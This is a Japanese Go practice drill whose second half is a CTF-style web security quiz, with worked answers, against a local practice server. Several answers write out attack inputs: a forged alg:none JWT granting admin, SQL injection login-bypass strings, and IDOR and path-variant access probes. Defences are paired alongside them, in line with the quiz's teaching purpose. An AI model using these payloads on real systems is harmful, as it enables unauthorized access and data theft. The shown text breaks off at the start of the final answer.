このノックについて
本シリーズの演習編です。目的に応じて使い分けてください。
- Goの基礎を復習・定着させたい方 → 前半(Q1〜Q50)。変数・構造体・関数・map・HTTPサーバー・POST/エラー処理をひと通り手を動かして固めます。
-
総合的な知識の確認や応用力を磨きたい方 → 後半(Q51〜Q100)。CTF形式で、これまで学んだ知識を「問題を解く」形で実戦的に試します。
各問題はまず自分で解いてから解答を見て、できればターミナルで動かして確認してください。間違えた問題は印をつけ、後日もう一度解きます。
環境
mkdir -p ~/go-practice/knock
cd ~/go-practice/knock
go mod init knock
各問題は main.go に書いて go run main.go で動かせます。
レベル1: 基本文法(Q1〜Q10)
Q1
"Hello, Go!" と画面に表示するプログラムを書いてください。
Q2
name という変数に文字列 "washi" を var を使って代入し、表示してください。
Q3
Q2を := を使って書き直してください。
Q4
age という整数型の変数に 30 を代入し、表示してください。
Q5
price という小数型(float64)の変数に 99.9 を代入し、表示してください。
Q6
isActive という真偽値型の変数に true を代入し、表示してください。
Q7
2つの整数 a = 10、b = 3 を宣言し、その和・差・積・商・余りをそれぞれ表示してください。
Q8
name = "washi" と age = 30 を1行で(カンマ区切りで)表示してください。
Q9
fmt.Printf を使って "名前: washi, 年齢: 30" と表示してください。
Q10
変数 count を var で宣言だけして(初期値なし)、その後 5 を代入して表示してください。宣言だけのとき初期値は何になるか確認してください。
レベル2: 構造体(Q11〜Q20)
Q11
Person という構造体を定義してください。フィールドは Name(文字列)と Age(整数)。
Q12
Q11の Person 型の変数を作り、Name="washi"、Age=30 を入れて表示してください。
Q13
Q12で作った変数から、Name だけを取り出して表示してください。
Q14
Book という構造体を定義してください。フィールドは Title(文字列)、Author(文字列)、Price(整数)。3つのフィールドに値を入れて表示してください。
Q15
Person 型を受け取って "Hello, [名前]!" という文字列を返す関数 greet を書いてください。
Q16
構造体のフィールドに、定義していない項目(例:p.Hobby)にアクセスしようとするとどうなりますか?確認してください。
Q17
Person 構造体に Email(文字列)フィールドを追加し、3フィールドすべてに値を入れてください。
Q18
2人分の Person(washiとtaro)を作り、それぞれの名前を表示してください。
Q19
構造体と配列(スライス)を組み合わせて、3人分の Person をまとめて持ち、ループで全員の名前を表示してください。
Q20
Person 型に json:"name" のようなJSONタグをつけてください。なぜタグをつけるのか説明してください。
レベル3: 関数(Q21〜Q28)
Q21
2つの整数を受け取って和を返す関数 add を書いてください。
Q22
2つの整数を受け取って、和と差の両方を返す関数 calc を書いてください(Goは複数の戻り値を返せます)。
Q23
整数を受け取って、それが偶数かどうかを真偽値で返す関数 isEven を書いてください。
Q24
文字列のスライス(複数の名前)を受け取って、全員に "さん" をつけて表示する関数を書いてください。
Q25
関数の引数 u User の User は何を表していますか?説明してください。
Q26
戻り値のない関数(何かを表示するだけ)を書いてください。
Q27
関数 divide(a, b int) を書いてください。ただし b が 0 のときはエラーを返すようにしてください(エラーの返し方を調べて実装)。
Q28
Q27で書いた divide を呼び出し、エラーが返ってきた場合とそうでない場合で処理を分けてください。
レベル4: map(Q29〜Q34)
Q29
キーが文字列、値が文字列の map を作り、"status": "ok" を入れて表示してください。
Q30
Q29のmapに後から "message": "hello" を追加してください。
Q31
キーが文字列、値が整数の map を作り、3人の名前とスコアを入れてください。特定の人のスコアを取り出して表示してください。
Q32
mapと構造体の違いを2つ説明してください。
Q33
mapからキーを削除する方法を調べて、Q30で追加した "message" を削除してください。
Q34
mapに存在しないキーにアクセスするとどうなるか確認してください。
レベル5: HTTPサーバー(Q35〜Q44)
Q35
/health にアクセスすると {"status":"ok"} を返すHTTPサーバーを書いてください(ポート8080)。
Q36
Q35のサーバーに対して、別ターミナルから curl でリクエストを送ってください。
Q37
/ping にアクセスすると {"message":"pong"} を返すエンドポイントを追加してください。
Q38
User 構造体(name, age)を使い、/user にアクセスすると {"name":"washi","age":30} を返すエンドポイントを書いてください。
Q39
w.Header().Set("Content-Type", "application/json") は何をしていますか?説明してください。
Q40
json.NewEncoder(w).Encode(data) は何をしていますか?説明してください。
Q41
http.HandleFunc("/health", healthHandler) は何をしていますか?説明してください。
Q42
http.ListenAndServe(":8080", nil) の nil は何を意味しますか?
Q43
サーバーを起動したターミナルが「止まったように見える」のはなぜですか?
Q44
1つのサーバーに /health、/ping、/user の3つのエンドポイントをまとめて実装してください。
レベル6: POST・エラー処理(Q45〜Q50)
Q45
HTTPメソッドのGET/POST/PUT/DELETEはそれぞれ何をするものですか?
Q46
/users にPOSTでJSON(name, age)を送ると、それを受け取ってそのまま返すエンドポイントを書いてください。
Q47
Q46で、リクエストのメソッドがPOST以外だった場合に405エラーを返すようにしてください。
Q48
Q46で、送られてきたJSONが不正だった場合に400エラーを返すようにしてください。
Q49
json.NewEncoder(w).Encode() と json.NewDecoder(r.Body).Decode(&data) の違いを説明してください。
Q50
Goのエラー処理の基本パターンを書き、エラーを返した後になぜ return が必要なのか説明してください。
解答・解説
レベル1: 基本文法
Q1
package main
import "fmt"
func main() {
fmt.Println("Hello, Go!")
}
Q2
var name string = "washi"
fmt.Println(name)
Q3
name := "washi"
fmt.Println(name)
:= はGoが型を自動推測する短縮記法。関数の中でだけ使える。
Q4
age := 30
fmt.Println(age)
Q5
price := 99.9
fmt.Println(price)
Q6
isActive := true
fmt.Println(isActive)
Q7
a, b := 10, 3
fmt.Println(a+b) // 13
fmt.Println(a-b) // 7
fmt.Println(a*b) // 30
fmt.Println(a/b) // 3(整数同士なので小数は切り捨て)
fmt.Println(a%b) // 1(余り)
Q8
name := "washi"
age := 30
fmt.Println(name, age)
Q9
fmt.Printf("名前: %s, 年齢: %d\n", "washi", 30)
%s は文字列、%d は整数のプレースホルダー。\n は改行。
Q10
var count int // 初期値なし → 0 になる
fmt.Println(count) // 0
count = 5
fmt.Println(count) // 5
Goでは数値型の初期値(ゼロ値)は0、文字列は""、真偽値はfalse。
レベル2: 構造体
Q11
type Person struct {
Name string
Age int
}
Q12
p := Person{Name: "washi", Age: 30}
fmt.Println(p)
Q13
fmt.Println(p.Name) // washi
Q14
type Book struct {
Title string
Author string
Price int
}
b := Book{Title: "Go入門", Author: "washi", Price: 2000}
fmt.Println(b)
Q15
func greet(p Person) string {
return "Hello, " + p.Name + "!"
}
Q16
コンパイルエラーになる。構造体は定義したフィールドしか持てない。後から追加したい場合はmapを使うか、定義自体を変更する。
Q17
type Person struct {
Name string
Age int
Email string
}
p := Person{Name: "washi", Age: 30, Email: "washi@ex.com"}
Q18
p1 := Person{Name: "washi", Age: 30}
p2 := Person{Name: "taro", Age: 25}
fmt.Println(p1.Name, p2.Name)
Q19
people := []Person{
{Name: "washi", Age: 30},
{Name: "taro", Age: 25},
{Name: "hanako", Age: 28},
}
for _, p := range people {
fmt.Println(p.Name)
}
range でスライスを1要素ずつ取り出す。_ は使わないインデックスを捨てる記法。
Q20
type Person struct {
Name string `json:"name"`
Age int `json:"age"`
}
JSONタグは、構造体をJSONに変換するときのキー名を指定する。タグがないとフィールド名がそのまま大文字始まりで使われる(Name)。タグをつけるとAPIの慣習に合う小文字(name)になる。
レベル3: 関数
Q21
func add(a int, b int) int {
return a + b
}
Q22
func calc(a int, b int) (int, int) {
return a + b, a - b
}
// 呼び出し
sum, diff := calc(10, 3)
Q23
func isEven(n int) bool {
return n%2 == 0
}
Q24
func greetAll(names []string) {
for _, name := range names {
fmt.Println(name + "さん")
}
}
Q25
User は引数の型。「User型のデータを受け取って、関数の中では u という名前で使う」という意味。u は変数名で、User がその型。
Q26
func sayHello() {
fmt.Println("Hello!")
}
戻り値の型を書かなければ、何も返さない関数になる。
Q27
import "errors"
func divide(a, b int) (int, error) {
if b == 0 {
return 0, errors.New("division by zero")
}
return a / b, nil
}
Q28
result, err := divide(10, 0)
if err != nil {
fmt.Println("エラー:", err)
} else {
fmt.Println("結果:", result)
}
レベル4: map
Q29
m := map[string]string{"status": "ok"}
fmt.Println(m)
Q30
m["message"] = "hello"
Q31
scores := map[string]int{
"washi": 90,
"taro": 75,
"hanako": 88,
}
fmt.Println(scores["washi"]) // 90
Q32
①構造体はフィールドが定義時に固定だが、mapはキーを後から自由に追加・削除できる。②構造体はフィールドごとに違う型を持てるが、mapは値の型が全部同じでなければならない。
Q33
delete(m, "message")
Q34
存在しないキーにアクセスすると、値の型のゼロ値が返る(string なら ""、int なら 0)。エラーにはならない。存在確認するには value, ok := m["key"] の形を使い、ok が false なら存在しない。
レベル5: HTTPサーバー
Q35
package main
import (
"encoding/json"
"net/http"
)
func healthHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}
func main() {
http.HandleFunc("/health", healthHandler)
http.ListenAndServe(":8080", nil)
}
Q36
curl http://localhost:8080/health
Q37
func pingHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"message": "pong"})
}
// main内
http.HandleFunc("/ping", pingHandler)
Q38
type User struct {
Name string `json:"name"`
Age int `json:"age"`
}
func userHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(User{Name: "washi", Age: 30})
}
Q39
レスポンスのヘッダーに「このレスポンスの中身はJSONですよ」と設定している。これにより受け取った側がJSONとして正しく処理できる。
Q40
data をJSONに変換して、レスポンス(w)に書き込んでいる。Go のデータ → JSON への変換(エンコード)。
Q41
ルーティングの設定。/health というURLにリクエストが来たら healthHandler 関数を実行するよう紐づけている。
Q42
ルーティングの設定をカスタマイズしないという意味。nil を渡すと、http.HandleFunc で登録したデフォルトの設定が使われる。
Q43
ListenAndServe がリクエストを待ち続けるため。サーバーは止まっているのではなく、リクエストが来るのを待機している状態。Ctrl + C で止められる。
Q44
func main() {
http.HandleFunc("/health", healthHandler)
http.HandleFunc("/ping", pingHandler)
http.HandleFunc("/user", userHandler)
http.ListenAndServe(":8080", nil)
}
レベル6: POST・エラー処理
Q45
GET=データ取得、POST=新規作成、PUT=更新、DELETE=削除。
Q46
func usersHandler(w http.ResponseWriter, r *http.Request) {
var user User
json.NewDecoder(r.Body).Decode(&user)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(user)
}
Q47
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
Q48
err := json.NewDecoder(r.Body).Decode(&user)
if err != nil {
http.Error(w, "Bad request", http.StatusBadRequest)
return
}
Q49
Encode は Go のデータを JSON に変換してレスポンス(w)に書き込む(Go → JSON、送信用)。Decode はリクエスト本文(r.Body)の JSON を Go のデータに変換して読み取る(JSON → Go、受信用)。方向が逆。
Q50
result, err := someFunc()
if err != nil {
// エラー処理
return
}
// 正常処理
return がないと、エラーを返した後も処理が続いてしまい、エラーなのに正常系の処理まで実行されてしまう。だからエラーを返したら必ず return で関数を抜ける。
後半(Q51〜Q100)について
ここからはCTF形式で、学んだ知識を実戦で試します。
CTF形式とは
CTF(Capture The Flag)は、問題を解くと フラグ(合言葉のような文字列) が手に入る形式です。たとえば「このトークンを改ざんして管理者になりすませ。成功するとフラグが表示される」といった問題で、実際の業務に近い技術を手を動かして攻略します。解法がすぐ分からなくても、調べてたどり着ければOK。暗記力ではなく調査力と応用力を試す形式です。
(以降のノックではこの説明は省略します)
取り組み方
後半は2種類の問題で構成しています。
- 実戦問題 … 実際にコマンドやコードを打って、フラグ・答えを自分で出す。本番のCTFに近い
-
知識確認 … 用語や仕組みを答える。答えるだけでなく「なぜそうか」を一言で言えるようにする
実戦問題は解説に「どう解いたか(手順)」を書いています。手を動かして再現してください。
本シリーズの全範囲から出題するので、まだ学んでいないテーマも含みます。各問題のマークを目安に、該当の記事を終えてから挑戦してください。
| マーク | 意味 |
|---|---|
| 【基礎】 | JWT・Go・DB(#1〜#9)で解ける |
| 【要コンテナ編】 | Docker編を終えてから |
| 【要認証認可編】 | 認証認可編を終えてから |
| 【要AWS編】 | AWS編を終えてから |
カテゴリ1: エンコード・JWT(Q51〜Q60)【基礎】
Q51〔実戦〕
以下はBase64エンコードされています。デコードしてフラグを答えてください。
RkxBR3tiYXNlNjRfaXNfbm90X2VuY3J5cHRpb259
Q52〔実戦〕
"FLAG{encode_me}" をBase64エンコードした文字列を出してください。
Q53〔実戦〕
以下のJWTから role の値を取り出してください。
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidmlld2VyIn0.abc123
Q54〔実戦〕
Q53のJWTの署名アルゴリズムを、デコードして答えてください。
Q55〔実戦〕
あるAPIはJWTの role が admin だとフラグを返します。Q53のトークンをもとに、alg:none攻撃で role: admin の偽トークンを作ってください(実際に組み立てる)。
Q56〔実戦〕
次のトークンは「ヘッダー部分」だけ抜き出したものです。これをデコードして、なぜこのトークンが危険か(どんな攻撃か)を判定してください。
eyJhbGciOiJub25lIn0
Q57〔実戦〕
http://localhost:8080/admin に、Q55で作った偽トークンを Authorization: Bearer ... ヘッダーで送るcurlコマンドを書いてください。
Q58〔知識確認〕
JWTは「暗号化」ではなく「エンコード+署名」です。では、ペイロードに秘密情報(パスワード等)を入れてはいけないのはなぜですか?
Q59〔知識確認〕
JWTトークンが漏洩しても、攻撃者が「中身を改ざんした有効なトークン」を作れないのはなぜですか(実装が正しい前提で)?
Q60〔実戦〕
以下の2つのBase64文字列をそれぞれデコードし、JWTのペイロードとして正しい(JSONとして壊れていない)のはどちらか判定してください。
A: eyJ1c2VyIjoiYWRtaW4ifQ
B: eyJ1c2VyIjoiYWRtaW4i
カテゴリ2: Go実装(Q61〜Q70)【基礎】
Q61〔実戦〕
GET /flag で {"flag":"FLAG{go_server_works}"} を返すサーバーを書いて、curlで取得してください。
Q62〔実戦〕
POST /check に {"password":"secret123"} を送り、正しければ {"flag":"FLAG{correct}"}、間違いなら401を返すサーバーを書いてください。
Q63〔実戦〕
GET /users/1 のようにURLパスの数字を取り出し、整数に変換して返すコードを書いてください。
Q64〔実戦〕
次のコードは壊れたJSONを送るとおかしな挙動をします。バグを直してください。
func handler(w http.ResponseWriter, r *http.Request) {
var user User
json.NewDecoder(r.Body).Decode(&user)
json.NewEncoder(w).Encode(user)
}
Q65〔実戦〕
/search?q=golang にアクセスされたとき、golang を取り出して {"query":"golang"} と返すコードを書いてください。
Q66〔実戦〕
次のコードはコンパイルエラーになります。エラーを再現し、原因を特定して直してください。
func main() {
name := "washi"
}
Q67〔実戦〕
環境変数 SECRET_KEY を読み取り、その値を {"key":"..."} と返すコードを書いてください。SECRET_KEY=abc123 go run main.go で起動して確認すること。
Q68〔実戦〕
リクエストの Authorization ヘッダーを取り出し、Bearer を除いたトークン部分だけを返すコードを書いてください。
Q69〔知識確認〕
パスワード照合で == ではなく subtle.ConstantTimeCompare が推奨されます。== だと何を手がかりに攻撃されますか?
Q70〔実戦〕
Q61で立てたサーバーに対し、Go側から http.Get でアクセスしてフラグを取得し、画面に表示するコードを書いてください。
カテゴリ3: SQL・DB(Q71〜Q80)【基礎】
Q71〔実戦〕
users テーブルから role が admin のユーザーを全件取得するSQLを書いてください。
Q72〔実戦〕
次のSQLに対し、name 欄に入れると認証を突破できる文字列を実際に作ってください。そのとき最終的なSQLがどう解釈されるかも示すこと。
SELECT * FROM users WHERE name = '【ここ】' AND password = '【ここ】'
Q73〔実戦〕
Q72を防ぐ、プレースホルダーを使った安全なGoのコードを書いてください。
Q74〔実戦〕
users と orders をJOINし、「各ユーザー名とその注文数」を取得するSQLを書いてください。
Q75〔実戦〕
orders テーブルの price 合計を取得するSQLを書いてください。
Q76〔実戦〕
users テーブルで WHERE email = '...' の検索が遅いです。高速化するSQL(インデックス作成)を書いてください。
Q77〔知識確認〕
送金処理「Aから1万円引く/Bに1万円足す」を、トランザクションにしないと起きうる最悪のケースを1つ挙げてください。
Q78〔実戦〕
口座テーブルで送金(A-5000, B+5000)を行うトランザクションを、BEGIN〜COMMITで書いてください。途中でやめる場合のコマンドも示すこと。
Q79〔実戦〕
UPDATE users SET role = 'admin' WHERE id = 5; を、WHEREを書き忘れるとどうなるか。実害を一言で説明し、正しい書き方を示してください。
Q80〔実戦〕
products から価格が高い順に上位3件を取得するSQLを書いてください。
カテゴリ4: コンテナ(Q81〜Q86)【要コンテナ編】
Q81〔実戦〕
動いているDockerコンテナの一覧を表示するコマンドを書いてください。
Q82〔実戦〕
myapp というコンテナの中に入って、シェルでファイルを調べるコマンドを書いてください。
Q83〔実戦〕
myimage というイメージのビルド履歴(各レイヤーの作成コマンド)を表示するコマンドを書いてください。秘密情報がここから見つかることがあります。
Q84〔実戦〕
myapp コンテナの環境変数を一覧表示するコマンドを書いてください(環境変数にフラグが入っている想定)。
Q85〔知識確認〕
Dockerfileで COPY secret.txt /app/ の後に別レイヤーで削除しても、イメージから secret.txt が取り出せてしまいます。なぜですか?
Q86〔知識確認〕
コンテナがVMより軽量で起動が速いのはなぜですか(何を共有しているか)?
カテゴリ5: 認証認可・Web(Q87〜Q94)【要認証認可編】
Q87〔知識確認・基礎〕
「ログインは通ったが管理者ページは見られない」。これは認証・認可のどちらが通って、どちらで弾かれた状態ですか?
Q88〔実戦〕
受け取ったJWTの exp(有効期限・UNIX時刻)が現在時刻を過ぎていないか検証するGoの考え方(擬似コードでよい)を書いてください。
Q89〔知識確認〕
RS256のJWTで、攻撃者が alg をHS256に変え、公開鍵を鍵として署名する攻撃を何といいますか?なぜ成立しますか?
Q90〔知識確認〕
ログインAPIで、ユーザー名が存在する場合としない場合で応答時間やメッセージが違うと、攻撃者は何ができますか?
Q91〔知識確認〕
ログイン済みユーザーに、本人の意図しないリクエストを別サイトから送らせる攻撃を何といいますか?代表的な対策を1つ。
Q92〔知識確認〕
ユーザー入力をエスケープせずHTMLに出力すると起きる攻撃を何といいますか?対策を1つ。
Q93〔実戦〕
GET /users/1 で自分の情報が見られるAPIがあります。これが脆弱かどうかを確認するには、次に何を試しますか?具体的なリクエストを書いてください。またこの脆弱性の名前は?
Q94〔知識確認〕
パスワードをDBにbcrypt等でハッシュ化して保存します。平文保存と比べ、DBが漏洩したときに何が守られますか?
カテゴリ6: 調査・総合(Q95〜Q100)
Q95〔実戦〕
あるAPIのレスポンスヘッダーにフラグが隠れているらしいです。ヘッダーも含めて表示するcurlコマンドを書いてください。
Q96〔実戦〕
APIのJSONレスポンスが1行で読みづらいです。整形して表示するcoマンド(パイプで繋ぐ)を書いてください。
Q97〔実戦〕
GET /admin が403でした。アクセス制御の実装漏れを探るため、次に試すリクエストを3つ挙げてください(具体的なパスで)。
Q98〔知識確認・要AWS編〕
S3バケットのファイルが誰でも閲覧できる状態でした。これは何の設定ミスで、本来どうあるべきですか?
Q99〔実戦〕
あるAPIのレスポンスが以下でした。data をデコードして中身を答えてください。
{"data":"U0VMRUNUICogRlJPTSB1c2Vycw=="}
Q100〔実戦〕
ログインで以下のJWTが返りました。role をデコードして答え、さらにこのトークンに exp が無い場合の問題点を述べてください。
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoid2FzaGkiLCJyb2xlIjoibWVtYmVyIn0.xxxxx
解答・解説(Q51〜Q100)
〔実戦〕は「どう解いたか」の手順つき。〔知識確認〕は答えと一言解説。
カテゴリ1
Q51〔実戦〕 base64 -d でデコードする。
echo "RkxBR3tiYXNlNjRfaXNfbm90X2VuY3J5cHRpb259" | base64 -d
# → FLAG{base64_is_not_encryption}
末尾が = で終わる・英数字のみという見た目からBase64と判断 → base64 -d に通す、という手順。
Q52〔実戦〕 -n で改行を入れずにエンコードする。
echo -n "FLAG{encode_me}" | base64
# → RkxBR3tlbmNvZGVfbWV9
-n を付けないと末尾に改行が混じってエンコード結果がずれるので注意。
Q53〔実戦〕 JWTは . 区切りの3パート。2番目(ペイロード)を取り出してデコードする。
echo "eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidmlld2VyIn0" | base64 -d
# → {"user":"guest","role":"viewer"}
role は viewer。
Q54〔実戦〕 1番目(ヘッダー)をデコードする。
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# → {"alg":"HS256"}
アルゴリズムは HS256。
Q55〔実戦〕 ヘッダーを {"alg":"none"}、ペイロードの role を admin に変えて、それぞれBase64して . で繋ぐ。署名は空にする。
echo -n '{"alg":"none"}' | base64 # → eyJhbGciOiJub25lIn0=
echo -n '{"user":"guest","role":"admin"}' | base64 # → eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ==
# 組み立て(末尾の . を忘れない):
# eyJhbGciOiJub25lIn0=.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ==.
手順:①ヘッダーのalgをnoneに ②ペイロードのroleをadminに ③両方を改行なしでBase64 ④ヘッダー.ペイロード. の形に連結(署名は空)。
Q56〔実戦〕 デコードして中身を見る。
echo "eyJhbGciOiJub25lIn0" | base64 -d
# → {"alg":"none"}
alg が none。これは署名検証を無効化させる alg:none攻撃のヘッダー。サーバーが none を受け入れると、誰でも署名なしで中身を改ざんできてしまう。
Q57〔実戦〕
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0=.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ==." http://localhost:8080/admin
-H でヘッダーを付与。Bearer の後に Q55 のトークンを置く。
Q58〔知識確認〕 ペイロードはBase64しただけで誰でもデコードして読めるから。署名は改ざん検知用で、中身を隠す機能はない。秘密情報は入れない。
Q59〔知識確認〕 署名はサーバーだけが持つ秘密鍵で作られる。攻撃者は秘密鍵を知らないので、中身を書き換えても正しい署名を再生成できず、検証で弾かれるから。
Q60〔実戦〕 両方デコードして、JSONとして閉じているか見る。
echo "eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d # → {"user":"admin"} ← 正しい
echo "eyJ1c2VyIjoiYWRtaW4i" | base64 -d # → {"user":"admin" ← 閉じ括弧がない=壊れている
正しいのは A。B は末尾の } が欠けている。
カテゴリ2
Q61〔実戦〕
func flagHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"flag": "FLAG{go_server_works}"})
}
// main: http.HandleFunc("/flag", flagHandler) → http.ListenAndServe(":8080", nil)
curl http://localhost:8080/flag # → {"flag":"FLAG{go_server_works}"}
手順:ハンドラを書く → ルーティング登録 → 起動 → curlで確認。
Q62〔実戦〕
func checkHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed); return
}
var body struct{ Password string `json:"password"` }
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "Bad request", http.StatusBadRequest); return
}
if body.Password != "secret123" {
http.Error(w, "Unauthorized", http.StatusUnauthorized); return
}
json.NewEncoder(w).Encode(map[string]string{"flag": "FLAG{correct}"})
}
手順:メソッド確認 → ボディをDecode → パスワード照合 → 一致でフラグ、不一致で401。
Q63〔実戦〕
func userHandler(w http.ResponseWriter, r *http.Request) {
idStr := r.PathValue("id") // Go 1.22以降。"/users/{id}" で登録
id, err := strconv.Atoi(idStr) // 文字列→整数
if err != nil {
http.Error(w, "Bad request", http.StatusBadRequest); return
}
json.NewEncoder(w).Encode(map[string]int{"id": id})
}
// main: http.HandleFunc("/users/{id}", userHandler)
手順:パスから文字列で取得 → strconv.Atoi で整数化 → 変換エラーは400。
Q64〔実戦〕 Decode の戻り値エラーを無視しているのがバグ。壊れたJSONでも気づけない。
func handler(w http.ResponseWriter, r *http.Request) {
var user User
if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
http.Error(w, "Bad request", http.StatusBadRequest); return
}
json.NewEncoder(w).Encode(user)
}
手順:壊れたJSONをPOSTして挙動を見る → Decodeのerrを受けていないと気づく → if err != nil を追加。
Q65〔実戦〕
func searchHandler(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query().Get("q") // クエリパラメータ q を取得
json.NewEncoder(w).Encode(map[string]string{"query": q})
}
手順:r.URL.Query().Get("q") でクエリ文字列の q を取り出す。
Q66〔実戦〕 name を宣言して使っていないため。Goは未使用ローカル変数をエラーにする。
./main.go:2:2: declared and not used: name
直し方:使う(fmt.Println(name))か、宣言を消す。手順:go run してエラーメッセージを読む → 未使用変数と分かる → 使うか消す。
Q67〔実戦〕
func keyHandler(w http.ResponseWriter, r *http.Request) {
key := os.Getenv("SECRET_KEY")
json.NewEncoder(w).Encode(map[string]string{"key": key})
}
SECRET_KEY=abc123 go run main.go
curl http://localhost:8080/key # → {"key":"abc123"}
手順:os.Getenv で読む → 起動時に環境変数を渡す → curlで確認。
Q68〔実戦〕
auth := r.Header.Get("Authorization") // "Bearer xxx.yyy.zzz"
token := strings.TrimPrefix(auth, "Bearer ") // "xxx.yyy.zzz"
手順:ヘッダーを取得 → strings.TrimPrefix で Bearer を除去。
Q69〔知識確認〕 不一致の位置で比較を打ち切るため、一致が長いほど処理時間が伸びる。攻撃者はその時間差を測り、正しい値を先頭から1文字ずつ推測できる(タイミング攻撃)。
Q70〔実戦〕
resp, err := http.Get("http://localhost:8080/flag")
if err != nil { log.Fatal(err) }
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
fmt.Println(string(body)) // → {"flag":"FLAG{go_server_works}"}
手順:http.Get で取得 → defer Close → io.ReadAll で本文を読む → 文字列化して表示。
カテゴリ3
Q71〔実戦〕
SELECT * FROM users WHERE role = 'admin';
Q72〔実戦〕 name 欄に ' OR '1'='1' -- を入れる。最終的なSQL:
SELECT * FROM users WHERE name = '' OR '1'='1' --' AND password = '...'
'1'='1' が常に真、-- 以降がコメント化してパスワード条件が無効になり、全件ヒット=突破。手順:入力がSQLに直結している箇所を見つける → クォートを閉じて OR '1'='1' を注入 → 残りを -- で無効化。
Q73〔実戦〕 プレースホルダーで値をデータ扱いにする。
db.QueryRow("SELECT * FROM users WHERE name = $1 AND password = $2", name, password)
Q74〔実戦〕
SELECT users.name, COUNT(orders.id)
FROM users
LEFT JOIN orders ON users.id = orders.user_id
GROUP BY users.name;
LEFT JOINで注文0件も含め、GROUP BYでユーザーごとにCOUNT。
Q75〔実戦〕
SELECT SUM(price) FROM orders;
Q76〔実戦〕
CREATE INDEX idx_users_email ON users (email);
よく検索するカラムにインデックスを貼るとフルスキャンを避けられる。
Q77〔知識確認〕 「Aから引く」だけ成功して「Bに足す」前に落ちると、お金が消える(どこにも存在しなくなる)。
Q78〔実戦〕
BEGIN;
UPDATE accounts SET balance = balance - 5000 WHERE name = 'A';
UPDATE accounts SET balance = balance + 5000 WHERE name = 'B';
COMMIT; -- 途中でやめるなら COMMIT の代わりに ROLLBACK;
Q79〔実戦〕 WHEREを忘れると全ユーザーが admin になる(全員管理者)。正しくは必ずWHEREで対象を限定:
UPDATE users SET role = 'admin' WHERE id = 5;
Q80〔実戦〕
SELECT * FROM products ORDER BY price DESC LIMIT 3;
ORDER BY price DESC で降順、LIMIT 3 で上位3件。
カテゴリ4
Q81〔実戦〕 docker ps(停止中も含めるなら docker ps -a)。
Q82〔実戦〕
docker exec -it myapp sh # bashがあれば bash
-it で対話モード、sh でシェル起動。中で ls や cat で調べる。
Q83〔実戦〕
docker history myimage
各レイヤーの作成コマンドが見える。COPY や ENV に秘密が残っていないか探す。
Q84〔実戦〕
docker exec myapp env # または docker inspect myapp の Env を見る
Q85〔知識確認〕 イメージはレイヤーの積み重ね。追加レイヤーと削除レイヤーは別物で、前のレイヤーにファイルが残るから。秘密は最初からイメージに入れないのが正解。
Q86〔知識確認〕 VMはOSごと仮想化するが、コンテナはホストOSのカーネルを共有してプロセスを隔離するだけだから。起動が速く軽い。
カテゴリ5
Q87〔知識確認〕 認証(ログイン=誰か)は通った。認可(権限=何をしてよいか)で弾かれた状態。
Q88〔実戦〕
// claims.Exp は exp(UNIX秒)
if time.Now().Unix() > claims.Exp {
// 期限切れ → 401で拒否
return errors.New("token expired")
}
手順:現在時刻(UNIX秒)と exp を比較し、過ぎていたら拒否。署名検証だけでなくこの期限チェックも必須。
Q89〔知識確認〕 アルゴリズム混同攻撃(key confusion)。公開鍵は誰でも入手でき、それをHS256の鍵として署名すると、サーバーが公開鍵で検証して通してしまうため。対策は許可algの固定。
Q90〔知識確認〕 ユーザー名が存在するか否かを判別できる(ユーザー列挙)。存在するアカウントを絞り込んで攻撃できる。応答内容・時間は統一する。
Q91〔知識確認〕 CSRF(クロスサイトリクエストフォージェリ)。対策:CSRFトークン、SameSite Cookie属性など。
Q92〔知識確認〕 XSS(クロスサイトスクリプティング)。対策:出力時のHTMLエスケープ。
Q93〔実戦〕 自分のID以外を試す。
curl http://localhost:8080/users/2
curl http://localhost:8080/users/3
他人の情報が見えたら脆弱。名前は IDOR(安全でない直接オブジェクト参照)。対策はリソースごとの認可チェック。
Q94〔知識確認〕 元のパスワードが守られる。ハッシュは元に戻せないので、DBが漏れても平文パスワードは分からない(特にbcryptは総当たりも遅くて困難)。
カテゴリ6
Q95〔実戦〕
curl -i http://localhost:8080/... # -i でヘッダーも表示。-v ならさらに詳細
ヘッダーに隠れた X-Flag: などを探す。
Q96〔実戦〕
curl http://localhost:8080/... | jq
jq に通すとJSONが整形される。
Q97〔実戦〕 大文字小文字・末尾スラッシュ・別表記を試す。
curl http://localhost:8080/Admin
curl http://localhost:8080/admin/
curl http://localhost:8080/admin%2f
アクセス制御がパスの表記揺れを正しく扱えていないと、別表記で通ることがある。
Q98〔知識確認〕 S3バケットの公開設定(パブリックアクセス許可)のミス。本来は必要な相手だけに限定する最小権限であるべき。
Q99〔実戦〕 data をデコードする。
echo "U0VMRUNUICogRlJPTSB1c2Vycw==" | base64 -d
# → SELECT * FROM users
Q100〔実戦〕 ペイロードをデコードして role を見る。
